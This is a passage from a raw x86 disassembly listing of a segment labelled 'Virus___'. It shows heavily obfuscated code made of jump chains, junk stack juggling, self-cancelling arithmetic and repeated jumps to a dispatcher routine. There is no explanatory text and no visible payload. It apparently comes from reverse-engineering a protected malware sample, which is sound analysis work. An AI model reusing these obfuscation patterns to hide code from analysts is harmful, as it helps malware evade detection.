CODE XREF: Virus___:005919E5j push 5579h mov [esp], ebx jmp loc_583018 ; --------------------------------------------------------------------------- loc_58CE2B: ; CODE XREF: Virus___:00588673j push edx jmp loc_589F72 ; --------------------------------------------------------------------------- loc_58CE31: ; CODE XREF: Virus___:0058390Ej add esp, 4 jmp loc_58D315 ; --------------------------------------------------------------------------- loc_58CE3C: ; CODE XREF: Virus___:0058D3EFj mov ebp, 16132CF8h push eax mov eax, 48433A38h jmp loc_590E29 ; --------------------------------------------------------------------------- loc_58CE4C: ; CODE XREF: Virus___:0058B181j mov ecx, esp push eax push edi mov edi, 4 push edi pop eax pop edi add ecx, eax pop eax push edx jmp loc_591B4E ; --------------------------------------------------------------------------- loc_58CE61: ; CODE XREF: Virus___:0058BEF6j push eax mov eax, 451A490Ch sub esi, eax pop eax add esi, edx push edi mov edi, 6334416Dh sub edi, 330671EDh add edi, 0FFFFFFFFh add edi, 41C919F2h jmp loc_58267A ; --------------------------------------------------------------------------- loc_58CE86: ; CODE XREF: Virus___:0058D2ECj mov esp, [esp] jmp loc_5830C1 ; --------------------------------------------------------------------------- loc_58CE8E: ; CODE XREF: Virus___:005814D7j mov ecx, 4D515B9Bh add ecx, 3D204DECh jmp loc_58A8FB ; --------------------------------------------------------------------------- loc_58CE9E: ; CODE XREF: Virus___:00587594j mov ebp, ecx jmp loc_58508A ; --------------------------------------------------------------------------- loc_58CEA5: ; CODE XREF: Virus___:005874A0j push eax mov eax, 75224AE5h sub edi, eax jmp loc_582BD3 ; --------------------------------------------------------------------------- loc_58CEB2: ; CODE XREF: Virus___:0058E76Dj push edi mov edi, esp jmp loc_581C54 ; --------------------------------------------------------------------------- loc_58CEBA: ; CODE XREF: Virus___:00586D3Bj push eax not dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_587844 ; --------------------------------------------------------------------------- loc_58CECC: ; CODE XREF: Virus___:005803A4j xor ch, 0DBh sub dh, ch pop ecx jmp loc_58D2F1 ; --------------------------------------------------------------------------- loc_58CED7: ; CODE XREF: Virus___:0058088Aj pop edx jmp loc_58D421 ; --------------------------------------------------------------------------- loc_58CEDD: ; CODE XREF: Virus___:005906D4j add eax, 4C17C417h jmp loc_58712D ; --------------------------------------------------------------------------- loc_58CEE7: ; CODE XREF: Virus___:0058A104j add esp, 4 jmp loc_58472B ; --------------------------------------------------------------------------- loc_58CEEF: ; CODE XREF: Virus___:0057FC27j xchg ecx, [esp] pop esp mov [esp], esi push 485A43A8h mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_586CB2 ; --------------------------------------------------------------------------- loc_58CF0C: ; CODE XREF: Virus___:00589B95j pop edx jmp loc_582C0F ; --------------------------------------------------------------------------- loc_58CF12: ; CODE XREF: Virus___:00582D53j add ecx, 4 jmp loc_582971 ; --------------------------------------------------------------------------- loc_58CF1D: ; CODE XREF: Virus___:0058CCC2j pop esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_5865E2 ; --------------------------------------------------------------------------- loc_58CF2C: ; CODE XREF: Virus___:005823D8j sub ecx, 0CD163E9h add ecx, ebx push eax mov eax, 0CD163E9h add ecx, eax pop eax jmp loc_583BC2 ; --------------------------------------------------------------------------- loc_58CF42: ; CODE XREF: Virus___:0058662Bj mov ecx, [esp] push eax jmp loc_58A839 ; --------------------------------------------------------------------------- loc_58CF4B: ; CODE XREF: Virus___:00592D3Aj and ebp, 226C464Bh add ebp, 60597618h sub ebx, ebp pop ebp pop eax add ebx, 1 add ebx, 1E9D69BEh jmp loc_585E56 ; --------------------------------------------------------------------------- loc_58CF69: ; CODE XREF: Virus___:00590DAFj pop esp jmp loc_5887F6 ; --------------------------------------------------------------------------- loc_58CF6F: ; CODE XREF: Virus___:0058DEC1j pop esp ror word ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58CF7A: ; CODE XREF: Virus___:0058E0FDj push dword ptr [esp] jmp loc_58658F ; --------------------------------------------------------------------------- loc_58CF82: ; CODE XREF: Virus___:005874B7j sub eax, 54282D2Dh neg eax add eax, 8026650Bh add ebp, eax pop eax pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ecx jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58CFA4: ; CODE XREF: Virus___:0058B6C1j push eax mov eax, 42820615h sub esi, eax jmp loc_587C7D ; --------------------------------------------------------------------------- loc_58CFB1: ; CODE XREF: Virus___:00593CE0j pop esp xchg ebx, [esp] jmp loc_59371F ; --------------------------------------------------------------------------- loc_58CFBA: ; CODE XREF: Virus___:005881DFj pop eax jmp loc_585EB1 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_583987 ; --------------------------------------------------------------------------- loc_58CFCB: ; CODE XREF: Virus___:00585318j push small 473Dh mov [esp], cx movzx cx, al push cx pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58CFDF: ; CODE XREF: Virus___:0058161Cj mov edx, 0B051E18Ch sub ebp, edx pop edx sub ebx, 8D1569Fh jmp loc_58D7DC ; --------------------------------------------------------------------------- loc_58CFF2: ; CODE XREF: Virus___:005940CCj push edx pop eax mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov ebx, [esp] jmp loc_582575 ; --------------------------------------------------------------------------- loc_58D00F: ; CODE XREF: Virus___:0057F590j pop esp jmp loc_580A2C ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_580D54 ; --------------------------------------------------------------------------- loc_58D01D: ; CODE XREF: Virus___:0058A740j not eax shl eax, 4 jmp loc_588BCD ; --------------------------------------------------------------------------- loc_58D027: ; CODE XREF: Virus___:0058698Bj xor [esp], edx xor edx, [esp] jmp loc_57F811 ; --------------------------------------------------------------------------- loc_58D032: ; CODE XREF: Virus___:00584B13j pop ax jmp loc_594342 ; --------------------------------------------------------------------------- loc_58D039: ; CODE XREF: Virus___:0058335Dj sub esp, 4 mov [esp], edx jmp loc_589B94 ; --------------------------------------------------------------------------- loc_58D044: ; CODE XREF: Virus___:00586623j pop dword ptr [esp] mov esp, [esp] jmp loc_59205A ; --------------------------------------------------------------------------- loc_58D04F: ; CODE XREF: Virus___:00589BDCj mov dh, 0D0h add dh, 0D5h push ecx mov cl, 4Eh jmp loc_58B40E ; --------------------------------------------------------------------------- loc_58D05C: ; CODE XREF: Virus___:0058CAFAj sub edx, 39351CEh pop esi xchg edx, [esp] mov esp, [esp] mov [esp], edx push ebp mov ebp, 6EB0699Ch mov edx, 914F9864h add edx, ebp push dword ptr [esp] pop ebp push 12BFh mov [esp], edx mov edx, esp jmp loc_57F741 ; --------------------------------------------------------------------------- loc_58D08C: ; CODE XREF: Virus___:00585859j push ebx mov ebx, 5D3A3775h xor ebx, 70D90054h jmp loc_586924 ; --------------------------------------------------------------------------- loc_58D09D: ; CODE XREF: Virus___:00586C9Bj pop esp xchg ebp, [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58D0AE: ; CODE XREF: Virus___:005927CFj shl ebp, 7 inc ebp inc ebp jmp loc_58BF89 ; --------------------------------------------------------------------------- loc_58D0B8: ; CODE XREF: Virus___:0058400Fj mov [esp], ebx mov ebx, esp push ebp mov ebp, 72167879h add ebp, 8DE9878Bh add ebx, ebp pop ebp sub ebx, 4 jmp loc_58A3B8 ; --------------------------------------------------------------------------- loc_58D0D4: ; CODE XREF: Virus___:00580E6Ej mov ecx, 4CA21B24h xor ecx, 50AA2D81h add esi, ecx pop ecx jmp loc_58D90C ; --------------------------------------------------------------------------- loc_58D0E7: ; CODE XREF: Virus___:0058D7AFj pop ebx jmp loc_58B216 ; --------------------------------------------------------------------------- loc_58D0ED: ; CODE XREF: Virus___:00588CAEj sub ebx, 15D73CAh add eax, ebx pop ebx push edx mov edx, 4 push edi mov edi, 646C3EE4h sub edi, 34334495h add edi, 13951EC1h add eax, edi pop edi push edx mov edx, 6BB629C1h push ecx jmp loc_5936C9 ; --------------------------------------------------------------------------- loc_58D11D: ; CODE XREF: Virus___:00590591j add ebx, eax add ebx, 52DF72C6h jmp loc_586A81 ; --------------------------------------------------------------------------- loc_58D12A: ; CODE XREF: Virus___:00580C6Dj mov ebp, 21A6151Eh dec ebp jmp loc_5944F6 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], edx mov edx, 1Ch jmp loc_592720 ; --------------------------------------------------------------------------- loc_58D145: ; CODE XREF: Virus___:0058D7D7j mov eax, 33475AD5h sub eax, 2C744B22h shl eax, 1 inc eax shl eax, 5 jmp loc_58EAB3 ; --------------------------------------------------------------------------- loc_58D15A: ; CODE XREF: Virus___:005863BDj mov edi, 6B7440B6h push esi mov esi, 3C482FD2h xor edi, esi pop esi inc edi or edi, 181A7D14h neg edi sub edi, 23EB56CEh mov ebx, edi push dword ptr [esp] pop edi jmp loc_581109 ; --------------------------------------------------------------------------- loc_58D182: ; CODE XREF: Virus___:0058F9F4j push ecx jmp loc_5900CF ; --------------------------------------------------------------------------- loc_58D188: ; CODE XREF: Virus___:00592147j push esp jmp loc_592888 ; --------------------------------------------------------------------------- loc_58D18E: ; CODE XREF: Virus___:00584E21j pop ebp add ebp, 4 jmp loc_58CE12 ; --------------------------------------------------------------------------- loc_58D19A: ; CODE XREF: Virus___:00582FA4j movsx ecx, al push 0E4Eh mov [esp], ecx jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58D1AA: ; CODE XREF: Virus___:00582D4Bj push esi jmp loc_5910B7 ; --------------------------------------------------------------------------- loc_58D1B0: ; CODE XREF: Virus___:0058A0ABj mov ebx, esi pop esi xor [esp+4], ebx pop ebx push dword ptr [esp] pop ecx add esp, 4 xor ecx, 183D576Bh mov edi, [esp] jmp loc_583F26 ; --------------------------------------------------------------------------- loc_58D1CD: ; CODE XREF: Virus___:00580ED5j shr eax, 7 xor eax, 0ED09DF72h add ecx, eax mov eax, [esp] add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 or edx, eax shl edx, 1 push eax sub esp, 4 mov [esp], ebx push 6CF2h mov [esp], esi mov esi, 44F54992h mov ebx, esi jmp loc_587AE2 ; --------------------------------------------------------------------------- loc_58D20D: ; CODE XREF: Virus___:00589FD5j pop ecx jmp loc_58F42C ; --------------------------------------------------------------------------- loc_58D213: ; CODE XREF: Virus___:005922C2j mov edi, 0C8473718h add edx, edi jmp loc_5901FE ; --------------------------------------------------------------------------- loc_58D21F: ; CODE XREF: Virus___:005848F6j add edx, eax pop eax jmp loc_58B005 ; --------------------------------------------------------------------------- loc_58D227: ; CODE XREF: Virus___:00587095j xor bh, 55h add ch, 65h sub ch, bh sub ch, 65h pop ebx mov bh, ch pop ecx sub al, bh pop ebx mov cl, al mov eax, [esp] push esi jmp loc_57F582 ; --------------------------------------------------------------------------- loc_58D244: ; CODE XREF: Virus___:0059090Dj push 28A11839h pop ebx jmp loc_58F47C ; --------------------------------------------------------------------------- loc_58D24F: ; CODE XREF: Virus___:00588965j mov edx, 33B55D3Bh sub esi, edx pop edx pop ebp add esi, 4 push esi push dword ptr [esp+4] jmp loc_58EA51 ; --------------------------------------------------------------------------- loc_58D268: ; CODE XREF: Virus___:0057FA67j push 297Fh mov [esp], eax mov eax, 35D9351Fh mov edi, eax mov eax, [esp] add esp, 4 mov ecx, 0CA26CAE1h sub ecx, 321944EBh add ecx, edi add ecx, 321944EBh pop edi jmp loc_58F3FA ; --------------------------------------------------------------------------- loc_58D296: ; CODE XREF: Virus___:00589EB0j xor eax, ecx jmp loc_593564 ; --------------------------------------------------------------------------- loc_58D29D: ; CODE XREF: Virus___:005935B2j add al, 0F4h jmp loc_57FB7E ; --------------------------------------------------------------------------- loc_58D2A4: ; CODE XREF: Virus___:0058A9D3j push ebp jmp loc_580CE8 ; --------------------------------------------------------------------------- loc_58D2AA: ; CODE XREF: Virus___:00592807j pop eax pop ebp sub ecx, 6E29347Ah jmp loc_59152D ; --------------------------------------------------------------------------- loc_58D2B7: ; CODE XREF: Virus___:0058CD22j pop dword ptr [esp] mov esp, [esp] mov cx, [esp] push 5AAAh mov [esp], ebp mov ebp, esp jmp loc_583806 ; --------------------------------------------------------------------------- loc_58D2D0: ; CODE XREF: Virus___:005839ECj pop ebx add esi, 6A8C0277h jmp loc_57F900 ; --------------------------------------------------------------------------- loc_58D2DC: ; CODE XREF: Virus___:0058A676j sub esi, 709161B8h neg esi jmp loc_58F5AC ; --------------------------------------------------------------------------- loc_58D2E9: ; CODE XREF: Virus___:00584961j xchg esi, [esp] jmp loc_58CE86 ; --------------------------------------------------------------------------- loc_58D2F1: ; CODE XREF: Virus___:0058CED2j and dh, 0ACh sub dh, 2Fh shl dh, 5 jmp loc_588867 ; --------------------------------------------------------------------------- loc_58D2FF: ; CODE XREF: Virus___:0058B060j sub bl, al push edx mov dl, 48h jmp loc_582DE4 ; --------------------------------------------------------------------------- loc_58D309: ; CODE XREF: Virus___:00584EA5j pop eax add al, 64h add al, dl sub al, 64h jmp loc_58830A ; --------------------------------------------------------------------------- loc_58D315: ; CODE XREF: Virus___:0058CE37j add edx, 4 push 4AD1h mov [esp], eax push ebp push 447E5AEAh pop ebp jmp loc_57F695 ; --------------------------------------------------------------------------- loc_58D32F: ; CODE XREF: Virus___:0057F93Aj mov esi, ecx jmp loc_590054 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_592D3F ; --------------------------------------------------------------------------- loc_58D353: ; CODE XREF: Virus___:0058F56Bj push dword ptr [esp] pop ecx add esp, 4 push 16C8h mov [esp], edx jmp loc_58F3DF ; --------------------------------------------------------------------------- loc_58D367: ; CODE XREF: Virus___:00584E9Bj push 5179h mov [esp], edx jmp loc_58A989 ; --------------------------------------------------------------------------- loc_58D374: ; CODE XREF: Virus___:00581A67j add esp, 4 pop dword ptr [esp] jmp loc_58A45B ; --------------------------------------------------------------------------- loc_58D382: ; CODE XREF: Virus___:0058B25Dj sub edx, esi pop esi add edx, 8D065FDh pop ecx jmp loc_592AD8 ; --------------------------------------------------------------------------- loc_58D391: ; CODE XREF: Virus___:00584198j mov ecx, edi pop edi sub eax, ecx pop ecx push 4CADh jmp loc_580A1F ; --------------------------------------------------------------------------- loc_58D3A1: ; CODE XREF: Virus___:0058F2DDj push esi push 5108h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_5935EC ; --------------------------------------------------------------------------- loc_58D3BD: ; CODE XREF: Virus___:00592C5Aj push 68802147h mov ebp, [esp] jmp loc_58B9B0 ; --------------------------------------------------------------------------- loc_58D3CA: ; CODE XREF: Virus___:0058C1D5j push edi mov edi, eax sub esp, 4 mov [esp], edi push eax jmp loc_5897B7 ; --------------------------------------------------------------------------- loc_58D3DC: ; CODE XREF: Virus___:0058DB6Aj add edx, 5F6C224Ch sub edx, 1 add edx, 0B01F23C0h mov ebx, edx pop edx push ebp jmp loc_58CE3C ; --------------------------------------------------------------------------- lodsd push eax mov eax, esp add eax, 4 push edi mov edi, 0BFE4331h and edi, 31B3410Fh add edi, 1 jmp loc_5882A6 ; --------------------------------------------------------------------------- loc_58D411: ; CODE XREF: Virus___:00580501j mov eax, ecx pop ecx shr eax, 8 and eax, 1A50155Ch jmp loc_57FCF7 ; --------------------------------------------------------------------------- loc_58D421: ; CODE XREF: Virus___:0058CED8j add ecx, 4AC342Dh sub ecx, edi sub ecx, 4AC342Dh pop edi xor ecx, [esp] xor [esp], ecx jmp loc_591A14 ; --------------------------------------------------------------------------- loc_58D43B: ; CODE XREF: Virus___:005898FDj add ebp, 5BC7077Bh and ebp, 547516B7h neg ebp sub ebp, 0AB9FE94Ah jmp loc_588FB6 ; --------------------------------------------------------------------------- loc_58D454: ; CODE XREF: Virus___:005843D9j mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_593ACD ; --------------------------------------------------------------------------- loc_58D464: ; CODE XREF: Virus___:00589156j mov ebp, 2 sub ecx, 5CC47D0Eh add ecx, ebp jmp loc_58FC45 ; --------------------------------------------------------------------------- loc_58D476: ; CODE XREF: Virus___:00588ECAj xchg ebx, [esp] pop esp push ecx mov ecx, 52E5BD3h jmp loc_5854F9 ; --------------------------------------------------------------------------- loc_58D485: ; CODE XREF: Virus___:00591EABj mov ecx, [esp] push 1A4Ch jmp loc_58E77B ; --------------------------------------------------------------------------- loc_58D492: ; CODE XREF: Virus___:0058EDD0j add eax, esi mov esi, [esp] jmp loc_591C64 ; --------------------------------------------------------------------------- loc_58D49C: ; CODE XREF: Virus___:0059249Cj mov edx, 3FD43F71h or edx, 3F080D11h push ecx mov ecx, 24177276h shl ecx, 1 jmp loc_582680 ; --------------------------------------------------------------------------- loc_58D4B4: ; CODE XREF: Virus___:00591EEBj push edx jmp loc_58B16A ; --------------------------------------------------------------------------- loc_58D4BA: ; CODE XREF: Virus___:00590C82j mov ebp, esp jmp loc_583B83 ; --------------------------------------------------------------------------- loc_58D4C1: ; CODE XREF: Virus___:0058933Dj sub esp, 4 push esp jmp loc_58AC00 ; --------------------------------------------------------------------------- loc_58D4CD: ; CODE XREF: Virus___:00592E6Bj mov bl, 0 inc bl shr bl, 5 inc bl jmp loc_57FB59 ; --------------------------------------------------------------------------- loc_58D4DB: ; CODE XREF: Virus___:0058718Aj mov eax, [esp] push edx push ebx mov ebx, esp jmp loc_58128C ; --------------------------------------------------------------------------- loc_58D4E7: ; CODE XREF: Virus___:00585095j mov edx, 24h add edx, edi add [edx], ebp mov edx, [esp] add esp, 4 pop ebp loc_58D4FA: ; CODE XREF: Virus___:00585130j sub esp, 4 mov [esp], esi mov esi, esp push edx mov edx, 328872B0h shl edx, 1 neg edx sub edx, 9AEF1A9Ch add esi, edx jmp loc_5811CC ; --------------------------------------------------------------------------- loc_58D519: ; CODE XREF: Virus___:00587107j sub bl, 0FEh add bl, ch jmp loc_586628 ; --------------------------------------------------------------------------- loc_58D523: ; CODE XREF: Virus___:00585E51j push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push edx jmp loc_58AE8D ; --------------------------------------------------------------------------- loc_58D553: ; CODE XREF: Virus___:00589A69j sub ebx, 7AC233C5h add ebx, 0DBD5F36h sub ebx, eax sub ebx, 0DBD5F36h push ecx mov ecx, 7AC233C5h add ebx, ecx pop ecx jmp loc_5846F3 ; --------------------------------------------------------------------------- loc_58D575: ; CODE XREF: Virus___:0059230Fj mov edi, 2D8E5AF4h add edx, edi pop edi sub edx, ebx sub edx, 2D8E5AF4h push dword ptr [esp] jmp loc_58C5CE ; --------------------------------------------------------------------------- loc_58D58D: ; CODE XREF: Virus___:005880FAj mov eax, [esp] add esp, 4 sub [esp+8], edx mov edx, [esp] jmp loc_593CB3 ; --------------------------------------------------------------------------- loc_58D5A2: ; CODE XREF: Virus___:00593995j shl ch, 4 push ebx mov bl, 0D4h sub ch, bl pop ebx xor dh, ch jmp loc_587FCF ; --------------------------------------------------------------------------- loc_58D5B2: ; CODE XREF: Virus___:005854A9j inc edi shl edi, 4 jmp loc_58E5BE ; --------------------------------------------------------------------------- loc_58D5BB: ; CODE XREF: Virus___:005900CAj mov edi, 4 add ebp, 0B3F5CDEh jmp loc_583385 ; --------------------------------------------------------------------------- loc_58D5CB: ; CODE XREF: Virus___:0058CC2Aj shr ebp, 5 shl ebp, 5 jmp loc_58C514 ; --------------------------------------------------------------------------- loc_58D5D6: ; CODE XREF: Virus___:0057FA41j push edx jmp loc_58091E ; --------------------------------------------------------------------------- loc_58D5DC: ; CODE XREF: Virus___:00580C95j sub ebp, edi mov edi, [esp] add esp, 4 push esi mov esi, esp jmp loc_589584 ; --------------------------------------------------------------------------- loc_58D5EF: ; CODE XREF: Virus___:0058AB8Bj push 3FE4h mov [esp], ebp mov ebp, 4 mov esi, ebp jmp loc_58AF3C ; --------------------------------------------------------------------------- loc_58D603: ; CODE XREF: Virus___:0057F4DBj add ecx, 0FFFFFFFFh sub ecx, 0D8DF1E29h mov edi, ecx jmp loc_5877BD ; --------------------------------------------------------------------------- loc_58D613: ; CODE XREF: Virus___:0058F104j xor edi, 0A5BBC526h jmp loc_581657 ; --------------------------------------------------------------------------- loc_58D61E: ; CODE XREF: Virus___:0058AE15j mov al, bh pop ebx jmp loc_59013F ; --------------------------------------------------------------------------- loc_58D626: ; CODE XREF: Virus___:00587FE2j add edx, esi pop esi add edx, ebp jmp loc_5855C7 ; --------------------------------------------------------------------------- loc_58D630: ; CODE XREF: Virus___:0058FE1Cj mov [esp], edi push dword ptr [esp+4] jmp loc_581A64 ; --------------------------------------------------------------------------- loc_58D63C: ; CODE XREF: Virus___:00585DB9j push ebx mov bl, 81h xor bl, 10h sub dl, bl mov ebx, [esp] add esp, 4 add dl, bh add dl, 91h jmp loc_584161 ; --------------------------------------------------------------------------- loc_58D657: ; CODE XREF: Virus___:005882CEj pop ecx add esp, 4 jmp loc_589527 ; --------------------------------------------------------------------------- loc_58D660: ; CODE XREF: Virus___:0058DC32j xchg ebp, [esp] pop esp push ebp mov ebp, 6E845100h jmp loc_5840FA ; --------------------------------------------------------------------------- loc_58D66F: ; CODE XREF: Virus___:00590AB7j push esi mov esi, 4 sub ebx, 1B875C3Fh jmp loc_59100D ; --------------------------------------------------------------------------- loc_58D680: ; CODE XREF: Virus___:0057F8DDj mov edi, 9708EB7Ch xor ecx, edi pop edi mov edx, ecx mov ecx, [esp] add esp, 4 add [esp+4], edx mov edx, [esp] jmp loc_587504 ; --------------------------------------------------------------------------- loc_58D69C: ; CODE XREF: Virus___:00588E8Dj add ecx, 4 xchg ecx, [esp] pop esp jmp loc_593FBF ; --------------------------------------------------------------------------- loc_58D6A8: ; CODE XREF: Virus___:0058E546j add esp, 2 xor [esp], ax xor ax, [esp] xor [esp], ax jmp loc_58D9C6 ; --------------------------------------------------------------------------- loc_58D6BF: ; CODE XREF: Virus___:00582E77j sub eax, ecx pop ecx push dword ptr [esp] pop ebp add esp, 4 push 837h jmp loc_593237 ; --------------------------------------------------------------------------- loc_58D6D3: ; CODE XREF: Virus___:0058B26Aj mov ebx, 32611907h neg ebx xor ebx, 0CD9EE6FDh add esi, ebx pop ebx add esi, 4 push 7D70h mov [esp], edi push 221Fh mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_58F45B ; --------------------------------------------------------------------------- loc_58D700: ; CODE XREF: Virus___:005836BEj sub esi, 0C261C7C3h add edi, esi jmp loc_587B2D ; --------------------------------------------------------------------------- loc_58D70D: ; CODE XREF: Virus___:0057F490j pop ecx sub esi, 4 push 76DAh mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_590BD7 ; --------------------------------------------------------------------------- loc_58D726: ; CODE XREF: Virus___:0058ADCEj pop esi add [esp+4], edx pop edx push dword ptr [esp] pop ecx push edi mov edi, esp jmp loc_592793 ; --------------------------------------------------------------------------- mov cx, [esp] push 6BA2h mov [esp], ecx push 0ECh mov [esp], ebx jmp loc_586427 ; --------------------------------------------------------------------------- loc_58D751: ; CODE XREF: Virus___:00587004j pop edx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58EAD2 ; --------------------------------------------------------------------------- loc_58D766: ; CODE XREF: Virus___:0059240Fj push edi mov edi, 666B6EDBh add ebx, edi mov edi, [esp] add esp, 4 shl ebx, 4 shl ebx, 3 push ecx push 4F446F4Dh pop ecx sub ebx, 5D6813ECh sub ebx, 0E8727CCh sub ebx, ecx add ebx, 0E8727CCh add ebx, 5D6813ECh pop ecx push esi mov esi, ebx mov ecx, esi jmp loc_58C944 ; --------------------------------------------------------------------------- loc_58D7A9: ; CODE XREF: Virus___:0058F9CAj push dword ptr [esp] push dword ptr [esp] jmp loc_58D0E7 ; --------------------------------------------------------------------------- loc_58D7B4: ; CODE XREF: Virus___:0058C8B5j pop eax mov eax, ebx jmp loc_582F1E ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push 7BCDh jmp loc_590CC8 ; --------------------------------------------------------------------------- loc_58D7CB: ; CODE XREF: Virus___:00587B53j mov [esp], edi mov edi, 305712E9h add edi, 0FFFFFFFFh push eax jmp loc_58D145 ; --------------------------------------------------------------------------- loc_58D7DC: ; CODE XREF: Virus___:0058CFEDj sub ebx, ebp sub esp, 4 mov [esp], ebp mov ebp, 8D1569Fh add ebx, ebp mov ebp, [esp] add esp, 4 pop ebp sub ebx, edx add ebx, 78EB471Bh pop edx push 1CF3h mov [esp], edx mov edx, 0 add edx, ebx jmp loc_5843EB ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_58E975 ; --------------------------------------------------------------------------- loc_58D817: ; CODE XREF: Virus___:0058ABEDj xor [esp+4], ebx jmp loc_5828A4 ; --------------------------------------------------------------------------- loc_58D820: ; CODE XREF: Virus___:0058AD63j xor ecx, eax not eax xor ecx, eax jmp loc_584058 ; --------------------------------------------------------------------------- loc_58D82B: ; CODE XREF: Virus___:005861DEj push ebx mov ebx, 241B2753h not ebx jmp loc_58FFDE ; --------------------------------------------------------------------------- loc_58D838: ; CODE XREF: Virus___:005883FDj sub edi, 1FAFEFB5h jmp loc_5944E4 ; --------------------------------------------------------------------------- loc_58D843: ; CODE XREF: Virus___:00586A3Aj mov edi, 4 add edx, 3A485A2Bh sub edx, 4BD0B18h add edx, edi jmp loc_59033C ; --------------------------------------------------------------------------- loc_58D85B: ; CODE XREF: Virus___:005807D2j sub eax, esi pop esi jmp loc_58A2EB ; --------------------------------------------------------------------------- loc_58D863: ; CODE XREF: Virus___:00590D7Dj sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx jmp loc_58E447 ; --------------------------------------------------------------------------- loc_58D872: ; CODE XREF: Virus___:0058B802j neg ebx push ebp push edi jmp loc_5826CF ; --------------------------------------------------------------------------- loc_58D87B: ; CODE XREF: Virus___:0058963Fj mov ebx, 24h sub ebx, 2FA176A2h jmp loc_583E54 ; --------------------------------------------------------------------------- loc_58D88B: ; CODE XREF: Virus___:0058319Ej add esi, 968EAD4Eh add edi, esi pop esi push ebx jmp loc_586174 ; --------------------------------------------------------------------------- loc_58D89A: ; CODE XREF: Virus___:005892D1j pop edx jmp loc_586C98 ; --------------------------------------------------------------------------- loc_58D8A0: ; CODE XREF: Virus___:00581FD8j push ebp jmp loc_587E6F ; --------------------------------------------------------------------------- loc_58D8A6: ; CODE XREF: Virus___:0058C869j mov esp, [esp] or [esp], al pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58D8B2: ; CODE XREF: Virus___:0058B82Bj sub eax, 4A8D6D28h jmp loc_581C49 ; --------------------------------------------------------------------------- loc_58D8BC: ; CODE XREF: Virus___:00591BC2j add ebp, 888F4926h jmp loc_583F75 ; --------------------------------------------------------------------------- loc_58D8C7: ; CODE XREF: Virus___:0058AE24j add esp, 4 jmp loc_593576 ; --------------------------------------------------------------------------- loc_58D8CF: ; CODE XREF: Virus___:0058C9EDj mov eax, [esp] add esp, 4 jmp loc_593A60 ; --------------------------------------------------------------------------- loc_58D8DD: ; CODE XREF: Virus___:0058C28Ej add edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] mov edi, [esp] jmp loc_5906E8 ; --------------------------------------------------------------------------- loc_58D8F5: ; CODE XREF: Virus___:00590810j pop ebp add edx, esi pop esi jmp loc_58DE37 ; --------------------------------------------------------------------------- loc_58D8FE: ; CODE XREF: Virus___:0058E0B2j mov [esp], edx mov edx, 4191384Ch inc edx jmp loc_583CB3 ; --------------------------------------------------------------------------- loc_58D90C: ; CODE XREF: Virus___:0058D0E2j add esi, ecx push edi mov edi, 60AE2B10h xor edi, 4160745h xor edi, 349C0B4Dh jmp loc_593852 ; --------------------------------------------------------------------------- loc_58D925: ; CODE XREF: Virus___:0057F849j add ebp, edi sub ebp, 54184398h pop edi push edx push ecx mov ecx, 4 jmp loc_588743 ; --------------------------------------------------------------------------- loc_58D93A: ; CODE XREF: Virus___:0058DC3Fj and esi, 3F503D0Bh shl esi, 6 xor esi, 49F334ABh add ebp, esi pop esi and edi, ebp jmp loc_5881E4 ; --------------------------------------------------------------------------- loc_58D953: ; CODE XREF: Virus___:00584980j push dword ptr [esp] jmp loc_58C4A7 ; --------------------------------------------------------------------------- loc_58D95B: ; CODE XREF: Virus___:00582372j add eax, 637C4299h add eax, ebp sub eax, 637C4299h mov ebp, [esp] push ebp jmp loc_584209 ; --------------------------------------------------------------------------- loc_58D970: ; CODE XREF: Virus___:00588B34j push edi push 22B4574Bh pop edi and edi, 37AA0A31h jmp loc_5884C5 ; --------------------------------------------------------------------------- loc_58D982: ; CODE XREF: Virus___:00581F37j xor ebp, [esp] mov esp, [esp] jmp loc_58089D ; --------------------------------------------------------------------------- loc_58D98D: ; CODE XREF: Virus___:00589E3Bj pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push edi push eax mov eax, 3EB2311Eh add [esp+4], eax mov eax, [esp] add esp, 4 pop dword ptr [edx+30h] push edi jmp loc_592863 ; --------------------------------------------------------------------------- loc_58D9B7: ; CODE XREF: Virus___:0059178Cj pop eax push 2123h mov [esp], edx push ebp jmp loc_58B891 ; --------------------------------------------------------------------------- loc_58D9C6: ; CODE XREF: Virus___:0058D6BAj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58D9CB: ; CODE XREF: Virus___:005905A0j mov edi, 2AA6AAE1h push ebp jmp loc_58852F ; --------------------------------------------------------------------------- loc_58D9D6: ; CODE XREF: Virus___:0059308Cj pop edi jmp loc_57FE57 ; --------------------------------------------------------------------------- loc_58D9DC: ; CODE XREF: Virus___:0058A8C6j and ecx, eax push dword 